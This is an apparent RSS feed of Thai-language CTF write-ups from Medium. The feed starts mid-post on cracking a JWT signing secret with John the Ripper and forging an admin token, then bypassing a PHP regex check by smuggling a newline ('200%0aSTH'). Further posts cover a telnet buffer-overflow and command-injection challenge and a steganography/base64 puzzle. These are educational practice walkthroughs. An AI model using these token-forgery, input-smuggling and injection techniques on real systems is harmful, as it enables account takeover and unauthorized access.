เราจะแปลงแค่ payload แล้วนำไปใส่เลยไม่ได้เพราะอย่าลืม JWT ประกอบด้วย 3 ส่วน Header / Payload / Signature ปัญหาจะอยู่ที่ Signature เพราะถ้า Payload เปลี่ยน ก็แปลว่า Signarute จะเปลี่ยน ทำให้การที่เราจะแก้แค่ Payload แล้วนำไปใช้เลยทำไม่ได้เพราะ siganture นั้นจะไม่ถูกต้อง เราจำเป็นต้องหา Secret Key ที่ JWT นี้ใช้ในการ Sign ระหว่าง Header และ Payload ที่ทำให้ได้ Signature ที่ถูกต้อง <br>// ผมย้ายมาเว็บ jwt.io เพื่อทดสอบ decrypt และ encrypt jwt เพื่อเช็คความถูกต้องของ Signature</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DvC7rituNmEe25WVI6uN3g.png" /><figcaption>jwt.io ใส่ header และ payload เพื่อดู signature ที่ถูกสร้างขึ้นมา</figcaption></figure><p>จากรูปที่ผมจะสื่อคือเราต้องหาตัว secret key ที่ใช้ที่จะทำให้ Header และ Payload ของเรา(user test) เมื่อถูก encrypt แล้ว จะต้องได้ Signature = <strong>Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8 </strong>ตามต้นฉบับ<br>// วิธีการที่ผมใช้คือการ Brute Force หา Key โดยใช้เครื่องมือ JackTheRipper เป็นเครื่องมือในการ Brute Force และ Wordlists ที่ใช้คือ “Rockyou”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*35jSkjY5--wICxepwXhOJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*hyAZgEeKSRc0qyFv-n04kg.png" /><figcaption>Brute Force หา Scecret key โดยใช้ JohnTheRipper</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*wNbgx0sQ-H1xRT80O_zzVg.png" /><figcaption>ผลลัพธ์ เจอ secret key = “bobcats”</figcaption></figure><p>จากรูปภาพผมสามารถหา secret key ได้แล้ว เราจะมาทำสอบนำไปใช้งานจริงกัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-WBCtc3P25a5DuBhnYwmoQ.png" /><figcaption>1.เปลี่ยน token ของ user test ให้เป็น token ของ admin-uat 2.ใช้ secret key ที่ได้มา</figcaption></figure><blockquote>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6IjczZWI3MDYzLWY4YzMtNGU1MC1iZWEyLTA3YzA1NjgxYWE5MiJ9.IFc2uZiX_3x1ihXgRaANOPvmySpQzFz_wMD0up8Ny0I</blockquote><p>เมื่อทำตามรูปภาพแล้วเราก็จะได้ JWT ที่ถูก Sign อย่างถูกต้องด้วย secret key ที่เราหามา จากนั้นลองไปทดสอบใช้จริงกัน!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yqdq2QAhULgCf3rlu3RX0Q.png" /><figcaption>กลับมาใส่ remember_me ที่หน้า index.php</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9vb5kF_43I3n8h7uQq1OgQ.png" /><figcaption>/userinfo.php</figcaption></figure><p>ตอนนี้เราสามารถเข้า บัญชีของ admin ได้แล้ว แต่ในหน้านี้ไม่ได้มี flag หรือฟังก์ชันให้ทำอะไร เราต้องเปลี่ยน path ไปที่ admin.php จะทำให้เราพบกับ Flag แรก และช่องทางการถอนเงินสำหรับ Flag2!!! (ถ้ายังไม่ได้ใช้ cookie ของ admin เราจะไม่สามารถเข้ามาที่ path admin.php ได้)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x_Jop6AItIuKQxnTxyudew.png" /><figcaption>admin.php</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*x907pj1C5VlZo0tGTOCIGA.png" /><figcaption>source code</figcaption></figure><blockquote>Flag1 : <strong>STH1{310052ba6883872435f7c5aafa850813}</strong></blockquote><p>ต่อไปมาลุย Flag 2 กัน <br>กลับมาที่หน้า admin.php กันก่อน ที่หน้านี้มีฟอร์มให้เราถอนตัง แต่ปัญหาคือ เราจะใส่แค่ตัวเลขแบบปกติไม่ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ojzuhbcCrp5D5Ebc_yNCnQ.png" /></figure><p>“We need a number, but not a number” เมื่อไปตรวจสอบ source code เราจะพบสาเหตุของปัญหา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*IZ09sVXGD_fC2I5GtM_mvg.png" /><figcaption>view-souce:admin.php</figcaption></figure><p>เห็นได้ว่าการที่เราจะถอนเงินได้นั้นจำเป็นต้องผ่านเงื่อนไง <strong><em>if(validateNumber($amount) &amp;&amp; strpos($amount, ‘STH’))<br></em></strong>หมายถึงว่า <strong><em>$</em></strong>amount ต้องเป็นตัวเลขทั้งหมดและมีตัวอักษร’STH’ปรากฏในนั้นด้วย ซึ่งเงื่อนไขนี้ดูเพลินๆจะดูขัดแย้งกันเพราะไม่มีทางที่มันจะเป็นทั้งตัวเลขและมีตัวอักษรอยู่ด้วย แต่ถ้าเราไปเช็คที่ฟังก์ชัน validateNumber($input) เราจะพบกับช่องโหว่ในการตรวจสอบตัวเลข ซึ่งก็คือมีการใช้ preg_match(‘/^[0–9]+$/m’, $input) ซึ่งหมายความว่า ฟังก์ชันนี้จะตรวจสอบว่าใน แต่ละบรรทัดของ $input มีเพียงแค่ ตัวเลขล้วน ๆ อย่างน้อย 1 ตัว และ ไม่มีอักขระอื่นเลย ซึ่งมันตรวจสอบ “แต่ละบรรทัด” ไม่ได้ตรวจสอบทั้งตัวแปร ดังนั้นวิธีที่เราจะทำได้ก็คือการให้ค่า $amount นั้น มีหลายบรรทัดที่เป็นบรรทัดตัวเลขและบรรทัดตัวอักษร ถ้าเราทำได้ก็จะสามารถ ผ่านฟังก์ชันที่ตรวจสอบทั้งสองและปริ้นเงินออกมาได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*REJiZlPTVMECdiBDh43XQg.png" /><figcaption>รูปแบบค่าที่จะทำให้ผ่านทั้งสองฟังก์ชัน</figcaption></figure><p>เราได้ค่าที่ทำให้ผ่าน function ได้มาแล้ว แต่ว่าเราไม่สามารถใส่ “200\nSTH” ไปในช่องฟอร์มของหน้าเว็บตรงๆได้เพราะมันจำกัดให้ใส่แค่ตัวเลข ดังนั้นผมเลยใช้ burpsuite ในการ intercept request ก่อนส่งออกไป</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*oVaUfD5lJI1m7B_ET3A1dQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*T1I4w8itxOVrdqYEn-LmxA.png" /><figcaption>%0a แทน /n หรือการขึ้นบรรทัดใหม่</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m4Xd6FcM6q7qGIlb72II1Q.png" /><figcaption>complete 🥳</figcaption></figure><blockquote>Flag 2 : <strong>STH2{d9d2532fd8ad5419450b5ea34ed93f32}</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*mZWJK53HfLTC_ONhZVKRYw.png" /></figure><p>จบแล้วคับสำหรับ Event นี้ มีมาแค่ 2 โจทย์แต่ก็เหนื่อยเอาเรื่องจิงๆ ผมติดตอไม้บ่อยมากสำหรับโจทย์นี้แต่ก็สนุกมากๆเหมือนกันครับ ขอบคุณทาง บจก. สยามถนัดแฮก (STH) ที่จัดกิจกรรมดีๆแบบนี้ขึ้นมา อยากให้มีอีกมากๆครับ สำหรับ write-up นี้ขอจบแค่แน่ก่อนคับเหนื่อยไม่ไหว555 (จริงๆอยากเขียนอุปสรรคที่เจอให้เยอะกว่านี้แต่ไม่ไหวละ) ขอบคุณทุกคนที่เข้ามาอ่านด้วนคับ Chill guy ลาก่อนละ</p><p><a href="https://www.facebook.com/hashtag/siamthanathack?__eep__=6&amp;__cft__[0]=AZUlQJRdw-EUOXbgpCm_8SNi8YsbbLYi9OdtILRzhyh2TS-uZrGLPsD1YynrXrtGGwKoRTYrKYlUUHsdPf5svBfEB1QYabcqWaKkiNL9ZTcfuOtLFkr4e35rvdREM7znZzzydvkLipL7lCuwKp-G20BwoP2yJq1VdfdDigiSljA8KO7Wc2Xo5fP1_zipa24wbRM&amp;__tn__=*NK-R">#SiamThanatHack</a> <a href="https://www.facebook.com/hashtag/sth?__eep__=6&amp;__cft__[0]=AZUlQJRdw-EUOXbgpCm_8SNi8YsbbLYi9OdtILRzhyh2TS-uZrGLPsD1YynrXrtGGwKoRTYrKYlUUHsdPf5svBfEB1QYabcqWaKkiNL9ZTcfuOtLFkr4e35rvdREM7znZzzydvkLipL7lCuwKp-G20BwoP2yJq1VdfdDigiSljA8KO7Wc2Xo5fP1_zipa24wbRM&amp;__tn__=*NK-R">#STH</a> <a href="https://www.facebook.com/hashtag/%E0%B8%AA%E0%B8%A2%E0%B8%B2%E0%B8%A1%E0%B8%96%E0%B8%99%E0%B8%B1%E0%B8%94%E0%B9%81%E0%B8%AE%E0%B8%81?__eep__=6&amp;__cft__[0]=AZUlQJRdw-EUOXbgpCm_8SNi8YsbbLYi9OdtILRzhyh2TS-uZrGLPsD1YynrXrtGGwKoRTYrKYlUUHsdPf5svBfEB1QYabcqWaKkiNL9ZTcfuOtLFkr4e35rvdREM7znZzzydvkLipL7lCuwKp-G20BwoP2yJq1VdfdDigiSljA8KO7Wc2Xo5fP1_zipa24wbRM&amp;__tn__=*NK-R">#สยามถนัดแฮก</a> <a href="https://www.facebook.com/hashtag/sthminiwebctf2025?__eep__=6&amp;__cft__[0]=AZUlQJRdw-EUOXbgpCm_8SNi8YsbbLYi9OdtILRzhyh2TS-uZrGLPsD1YynrXrtGGwKoRTYrKYlUUHsdPf5svBfEB1QYabcqWaKkiNL9ZTcfuOtLFkr4e35rvdREM7znZzzydvkLipL7lCuwKp-G20BwoP2yJq1VdfdDigiSljA8KO7Wc2Xo5fP1_zipa24wbRM&amp;__tn__=*NK-R">#STHMiniWebCTF2025</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a5cb291c259" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SEC Playground Bloody Xmas 2024 CTF write-up [Web Application Security — Santa is forgetful!]]]></title>
            <link>https://medium.com/@pammer434/sec-playground-bloody-xmas-2024-ctf-write-up-web-application-security-santa-is-forgetful-302798a259a8?source=rss-915ede29ab23------2</link>
            <guid isPermaLink="false">https://medium.com/p/302798a259a8</guid>
            <dc:creator><![CDATA[d3kc4rt_1]]></dc:creator>
            <pubDate>Mon, 30 Dec 2024 10:42:26 GMT</pubDate>
            <atom:updated>2025-01-04T12:41:44.604Z</atom:updated>
            <content:encoded><![CDATA[<h3>SEC Playground <strong>Bloody Xmas 2024</strong> CTF write-up [Santa is forgetful!🎅😄]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L2MekxhP8HRQ7v2sPfJ0YA.jpeg" /></figure><p>CTF ของ Secplayground มาอีกแล้วคับผมรอบนี้มา4วันเลย รอบนี้เขาจัดในธีม Bloody Xmas โจทย์ในงานถือว่าเยอะขึ้น + ยากขึ้นจากรอบก่อนที่เป็นHackloween(กิจกรรม 1 วัน)พอสมควร</p><p>รอบนี้ผมยกโจทย์ในหมวดWeb Application Security มานะคับ แล้วก็เหมือนเดิม<br>ผมจะมาแชร์วิธีคิดกับsolutionของผม จะเป็นยังไงมาดูกันคับ</p><h3>Santa is forgetful!🎅😄(10 pts.)</h3><blockquote>“ฉันได้ยินมาว่าซานต้าชอบทำสมุดบันทึกลิสต์เด็กดีของตัวเองหายอยู่บ่อยๆ เขาเลยสร้างช่องทางลับๆไว้ที่เขาจะเข้าไปดูลิสต์รายชื่อเด็กดีพวกนั้น, บางทีปีนี้อาจจะมีชื่อของนายอยู่ในนั้นด้วย!”</blockquote><p>รอบนี้โจทย์ให้ Ip ของเป้าหมายมากับอร์ตของเป้าที่เปิดอยู่ จะเห็นว่า Ip ที่โจทย์ให้มาไม่ใช่ Ip ของ website เหมือนกับข้ออื่น ในข้อนี้เราต้องทำการ telnet เข้าไปในเซิฟเวอร์ของเป้าหมายก็จะพบกับข้อความที่ดูเหมือนให้พิมพ์ชื่อไฟล์ที่จะอ่านรายชื่อลิสต์เด็กดีของซานต้านั่นเอง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*DJrHo5Q0hpg5dCR_Y_MUkQ.png" /><figcaption>telnet ไปหาซานต้า</figcaption></figure><p>เมื่อเราเข้ามาในtelnetของซานต้า เราจะพบกับข้อความ <strong>menu</strong> ที่ให้เราเลือกว่าจะ input <strong>1 หรือ 2 </strong>โดยถ้าเลือก 1 จะเป็นการอ่านลิสต์เด็กดี เลือก2เป็นการออกจาก telnet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*KRyRXyy-kyZu4-3u488NEw.png" /><figcaption>ผลลัพธ์หลังจากเลือก 1</figcaption></figure><p>เมื่อเราเลือก 1 แล้วดูเหมือนจะยังไม่อ่านลิสต์ให้เราง่ายๆ มีข้อความมาให้เราป้อนชื่อไฟล์เพื่อที่จะอ่านลิสต์เด็กดี (มีใจดีให้ตัวอย่างชื่อไฟล์มาด้วยมาด้วย) เราเป็นเด็กดีก็พิมพ์ตามตัวอย่างเลยละกัน <strong>nice_list.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*2k0TLhlzOr_4QxVpod5n1w.png" /><figcaption>ลองใส่ nice_list.txt</figcaption></figure><p>ผมมั่นใจนะว่าไม่ได้พิมพ์อะไรแปลกๆ แต่ดูเหมือนเซิฟเวอร์บอกว่าข้อความที่เราป้อนมันผิดกฏ พร้อมกับกำกับเราว่า<strong>ต้องใช้ .txt </strong>กับ <strong>ไม่มีการใช้ ../ หรือ / </strong>เหมือนซานต้าพยายามจะกันไม่ให้เรา <strong>path traversal</strong> (แต่เรายังไม่ได้ทำอะไรเลยนะ 5555)แต่ชั่งมัน <br>พอลองป้อนแบบเด็กไม่ดีดู จะพบว่ามันก็ขึ้น Invalid เหมือนเดิม งั้นต้องลองหาวิธีใหม่ๆ ผมเลยลองป้อนคำสั่งที่ไม่ใช่ชื่อไฟล์ดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*blPpwO2NM5sOILtwZ4YEzw.png" /><figcaption>ทดสอบแทรกคำสั่ง</figcaption></figure><p>ดูเหมือนแทรกคำสั่งก็ไม่ได้แฮะ ผมงมอยู่ตรงนี้นาพอสมควรเลยตัดสินใจไปกดดูhint ก็ได้คำว่า “ <strong>Verify input and output carefully </strong>”มา ก็แปลว่าโจทย์ข้อนี้มันน่าจะให้ทำอะไรสักอย่างตอนเราอินพุตนี่แหละ ก็เลยนึกได้อย่างหนึ่งสุดคลาสสิก</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*-2AZa4HJtRealmPXZ0wrWg.png" /><figcaption>buffer overflow</figcaption></figure><p>จากรูปภาพผมทดลอง <strong>buffer overflow </strong>โดยการป้อน input ตัว ‘<strong>A</strong>’ ในตอนที่มันให้ป้อนชื่อไฟล์ไปโดย ผมป้อนไปไม่รู้เหมือนกันกี่ตัวแล้วผลลัพธ์ก็ปรากฏมาว่าในหลังจากที่มันขึ้น <strong>‘Invalid file name’ </strong>แล้วมันยังมีการขึ้น ‘<strong>Invalid input</strong>’ ด้วย (Invalid input จะขึ้นตอนที่มันให้เลือก 1 , 2) นั่นหมายความหมายไอ้ตัว<strong> AAAAAAA </strong>ที่ผมป้อนเข้าไปที่เป็นชื่อไฟล์ <strong>มันมีการล้น</strong>ไปใส่ตัวที่รับ input ในตอนเลือกเมนูด้วย หวานเจี๊ยบเลยแบบนี้ที่เหลือก็แค่หาว่า buffer ก่อนที่มันจะล้นไปมันรับได้มากสุดกี่ตัว แล้วก็ค่อยๆหาวิธีแทรกอ่านไฟล์</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*hhhAdaUXMT1Y04_WYPc2bw.png" /><figcaption>buffer overflow (ต่อ)</figcaption></figure><p>หลังจากทดลองหลายๆแบบ พบว่าถ้าเราใส่<br>‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1’<br>เลข 1 ที่เป็นตัวสุดท้ายมันจะล้นไปอยู่ตัวแปรที่มันให้เราเลือกอินพุต 1 หรือ 2 ทำให้ในกรณีนี้ 1 กลายมาเป็นตัวอินพุต ทำให้ปรากฏผลลัพธ์แบบในรูปคือเราใส่ชื่อไฟล์ที่เป็น buffer overflow ไปแล้วมันมีการข้ามตัวเลือกที่ให้เราใส่ input 1 หรือ 2 ไป แล้วให้มาใส่ชื่อไฟล์เลย ตอนนี้ก็คือมาถูกทางแล้ว ที่เหลือก็คือหาวิธีให้มันทั้งเลือกอินพุตแล้วก็อ่านชื่อไฟล์ให้เราต่อ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*77TMA_2xgYpTrdeRhRY7ew.png" /><figcaption>อ่านไฟล์ nice_list.txt</figcaption></figure><p>ผมลองทำหลายๆรูปแบบจนเจอแบบที่มันจะอ่านไฟล์ให้เราได้ คือตามรูปภาพตัว A กับเลข 1 รวมกับชื่อไฟล์แล้วต้องมีความยาว255ตัวพอดีไม่ขาดไม่เกินมันถึงจะไปที่บรรทัดเลือก1,2 และบรรทัดอ่านชื่อไฟล์ได้ เลยได้รูปแบบแบบในรูปภาพมา จะเห็นว่าเราอ่านไฟล์ ‘nice_list.txt’ ได้แล้วแต่ไม่เจอ flag งั้นไปหาไฟล์อื่นกัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*Zk8Sze7pmJyoGbJUoFukSw.png" /><figcaption>flag.txt (ไม่เจอ)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*_ECoxFIPIoAneckQ_KBP3g.png" /><figcaption>secret.txt (ไม่เจอ)</figcaption></figure><p>หลังจากลองสุ่มชื่อไฟล์หลายๆไฟล์ก็ยังไม่เจอ เลยคิดว่ามันไม่น่าใช่วิธีนี้หรอก งั้นลองวิธีอื่น</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*-RDCRA7MRBwIYibJdeu2rw.png" /><figcaption>ลองเปลี่ยนจากชื่อไฟล์เป็นคำสั่ง</figcaption></figure><p>ตอนที่ลองวิธีนี้ก็คิดออกได้พอดี ว่ามัน<strong>เช็ค .txt กับ ../ และ / </strong>แต่ไม่ได้เช็คตัวอื่นนิเลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nZDD8GI5yqh8S16v1WcS3g.png" /><figcaption>แทรกคำสั่ง</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XnIElGMROgzD5Q7bSzUu4g.png" /><figcaption>อ่าวเจอ flag เลย</figcaption></figure><blockquote>misc{FMzexRJiQM}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*IrojCsn-8f56USprILUDUg.png" /></figure><p>ขอขอบคุณ SEC Plaground ที่จัดอีเว้นดีๆแบบนี้ <br>สนุกมากครับขอให้มีอีกบ่อยๆ จบอีเว้นนี้ก็สิ้นปีแล้ว สวัสดีปีใหม่ทุกคนคับ<br><a href="https://www.facebook.com/hashtag/secplaygroundbloodyxmas2024?__eep__=6&amp;__cft__[0]=AZWN6DxTj8iUfdxgxfxDb_spIe3GVE5Y7BJTlPz3GAn9BmdGWohzIVB5Qlqo3HA7BbeKgmA_t96OfYVet47IdwnKzozdvG5tN1gFRDSZ5UU7GEjoIlT7P7Rg4uWsYqS4iFMV9vIryC7fQjQ57WLIomPMeXxtSz0WGEEuKvq3gg0QfQ&amp;__tn__=*NK-R">#SECPlaygroundBloodyXMas2024</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=302798a259a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SEC Playground Hackloween 2024 CTF write-up [Cryptography — Can You Tell Me The Secret]]]></title>
            <link>https://medium.com/@pammer434/sec-playground-hackloween-2024-ctf-write-up-cryptography-can-you-tell-me-the-secret-585b1bfd96df?source=rss-915ede29ab23------2</link>
            <guid isPermaLink="false">https://medium.com/p/585b1bfd96df</guid>
            <category><![CDATA[secplayground]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[d3kc4rt_1]]></dc:creator>
            <pubDate>Fri, 01 Nov 2024 12:54:37 GMT</pubDate>
            <atom:updated>2024-11-02T01:43:31.857Z</atom:updated>
            <content:encoded><![CDATA[<h3>SEC Playground Hackloween 2024 CTF write-up [Cryptography — Can You Tell Me The Secret]</h3><p>อันนี้เป็นโจทย์จากงาน CTF ของ <a href="https://www.facebook.com/secplayground?__cft__[0]=AZULDE92UzVdK_flFWPRDsBbslYWbahc_mVhbTbFlZTEYgjTM9aFAkKP3awc-9ZN_Gb81BUitg0Tk52sIq5bf_CLU-sNSUV1lBo0K5TBz7XENRqK3NYgHbDmytroHpIpQDRrMEeOpHSL1VNUUk5UgswApOEt6z3tn_4uwFQxiRfeRRR4rzFmjpFCuhbIs-vjONQ&amp;__tn__=-UC%2CP-R">SEC Playground</a> นะครับมีโจทย์ให้เล่นเยอะมากเลย ผมได้ลองเล่นหลายๆโจทย์แล้วรู้สึกว่าโจทย์สนุกมากวันนี้เลยอยากจะมาแชร์วิธีคิดของผมตอนทำโจทย์นะคับ โดยโจทย์ที่ผมยกมาเป็นโจทย์ในโหมด Cryptography ข้อแรก โจทย์เป็นยังไงไปดูกันเลยคับ</p><h3>Can You Tell Me the Secret (30pts.)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dyPvNMcgWRZxzrigNn7GGQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*3_uG8S0FvlPq1ef2ZodwvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*bgLvAHkh91d2WRIqap8pWA.png" /></figure><p>ข้อนี้โจทย์ให้แค่รูปภาพแมวมา1รูป พร้อมคำอธิบายให้หาความลับในรูปภาพ อย่างแรกที่ผมทำเลยก็คือลองเช็ค meta data ของรูปภาพนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*fTDbWqKd6fhJt4m15OkaWw.png" /><figcaption>ตรงนี้ได้มีข้อมูลที่น่าสังเกตุคือตรง comment : n00b</figcaption></figure><p>ตรง comment ที่มีการใส่เข้ามาส่วนมากมักจะเป็น passphrase สำหรับ extract รูปภาพ ผมเลยลองเอาไป steghide extract ดูได้ผลลัพธ์ได้เป็นแบบนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*c_zUvGSct3tu-aY6CgE8iQ.png" /><figcaption>passphrase ที่ใส่ไปถูกต้องแล้วเราได้ไฟล์ secret.txt มา</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SwuluvVs-DbvKFMQ08XwEQ.png" /></figure><p>หลังจากที่ได้ไฟล์ secret.txt มาแล้ว ผมเห็นว่าเนื้อหาในไฟล์ยังไม่ใช่ flag แต่ได้มาเป็นข้อความที่ดูเหมือนจะถูกเข้ารหัส ที่ผมทำต่อไปคือลองโยนไปใส่ cyberchef ถอดรหัสดู โดยดูจากรูปแบบของข้อความนี้แล้วผมคิดว่าน่าจะเป็น base64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*fg05MbvAjltdxrxuZvFvpg.png" /><figcaption>ถอดรหัสจาก base64</figcaption></figure><p>ถอดbase64แล้วได้ข้อความมาในรูปแบบhex งั้นผมแปลงจากhex ต่อเลยละกัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*Y8oarDH1_Tf5HkFkjXyjyw.png" /><figcaption>ถอดรหัสจาก base64 &gt; hex</figcaption></figure><p>หลังจากที่แปลงจาก base64 &gt; hex &gt; ข้อความในปัจจุบันแล้ว พบว่าข้อความที่เราได้เป็นโค้ด python ผมเลยเอาไปโยนใส่ vscode เพื่อที่จะอ่านโค้ดได้สะดวก</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*1JKIZAL4M1mrn64klKfQkA.png" /><figcaption>ข้อสังเกตุ random ที่โจทย์ import มาไม่มีการถูกเรียกใช้</figcaption></figure><p>ถึงตรงนี้ต้องใช้เวลาทำความเข้าใจโค้ดสักพักนึง แล้วผมก็ทำตั้งชื่อโค้ดชื่อฟังก์ชันใหม่ออกมาให้ดูเป็นภาษาที่อ่านได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*CxvcU9QfFKxkVC4tMIyc6w.png" /></figure><p>ตรงนี้มีฟังก์ชันนึงที่แตกต่างไปจากฟังก์ชันอื่น คือฟังก์ชันที่2 ที่เป็นฟังก์ชันที่ไม่มี parameter แล้วมีการ return ค่าตัวแปรออกมาด้วย เห็นอย่างงี้ผมเลยลอง print(NumToStr()) ออกมาดู</p><blockquote>Output : [‘b’, ‘T’, ‘e’, ‘l’, ‘J’, ‘I’, ‘e’, ‘q’, ‘c’, ‘h’, ‘&gt;’, ‘&gt;’]</blockquote><p>ในฟังก์ชันนี้จะมีตัวแปรอยู่ 2 ตัว ตัวแปรนึงเก็บลิสต์ตัวเลขord(Num) อีกตัวหนึ่งแปลงค่าตัวเลขordให้เป็นchar(Result) แล้วreturnผลลัพธ์ ตรงนี้ถ้าดูจากoutputที่ได้มามีข้อสังเกตุคือถ้าแปลงตามสูตรที่โจทย์กำหนดให้นั้นค่าordจากตัวแปรแรกจะถูกshiftเพิ่มมา1ก่อนแปลงเป็นchar ตรงนี้ผมก็คิดไปถึงข้อสังเกตุแรกที่เห็น คือ random ที่ยังไม่ได้ถูกเรียกใช้ คิดว่าจะเกี่ยวกันกับตรงนี้ได้ เพราะว่าจากที่ดูรูปแบบของผลลัพธ์แล้วถ้าเราshiftตัวเลขถูกมีความเป็นไปได้ที่ผลลัพธ์จะออกมาอยู่ในรูปแบบของ base64 เพราะว่าสองตัวท้ายมีความเป็นไปได้ที่จะเป็น== ที่เราต้องทำคือการหาค่าshiftที่ถูกต้องที่จะshiftตัวเลขordสองตัวท้ายให้เป็น=</p><blockquote>ord(‘=’) → 61</blockquote><p>จากที่เรารู้ ord ของ = แล้วสังเกตุได้ว่า ord ของ = นั้นตรงกันกับ ตัวเลขสองตัวท้ายของลิสต์ num พอดี ดั้งนั้นผมจึงลองลบสมการที่shiftตัวเลขก่อนแปลงค่าออก แล้วลองปริ้นดูผลลัพธ์ของฟังก์ชันนี้อีกที</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*fKKlL_shhx68ardaN7ah2Q.png" /></figure><blockquote>Output : [‘a’, ‘S’, ‘d’, ‘k’, ‘I’, ‘H’, ‘d’, ‘p’, ‘b’, ‘g’, ‘=’, ‘=’]</blockquote><p>ตรงนี้ได้ค่าที่ดูเหมือนbase64จิงๆแล้ว ลองเอาไปใส่ CyberChef ดีกว่า</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/216/1*n0ya6d_RtOjDtYXJXjq4tQ.png" /><figcaption>Nah i’d win</figcaption></figure><p>พอถึงตรงนี้ที่ต้องทำก็แค่เอาค่าbase64แต่แรกไปใส่ในformatของflagก็ได้คำตอบมาแล้วคับบบ</p><blockquote>crypt{aSdkIHdpbg==}</blockquote><p><a href="https://www.facebook.com/hashtag/secplaygroundhackloween2024?__eep__=6&amp;__cft__[0]=AZWQ5bEwjPO0cpsszvsz-uSTlUw-bCx0qYtATBHQRQIW6KHsH0eU-95rORwEpT-Fm_TUUDcdLV14AKiqOvuK83mO4N7W97YjKBdfPSY4lM5-L2jpFh4wOv9aMrwOQfQ_GN9oD3RujR54fPylRlxkzLexn8BONxq0r5EjaH4aOQR2_AhxMBXKv8sM6nkK20dnn3Y&amp;__tn__=*NK-R">#SECPlaygroundHackloween2024</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=585b1bfd96df" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>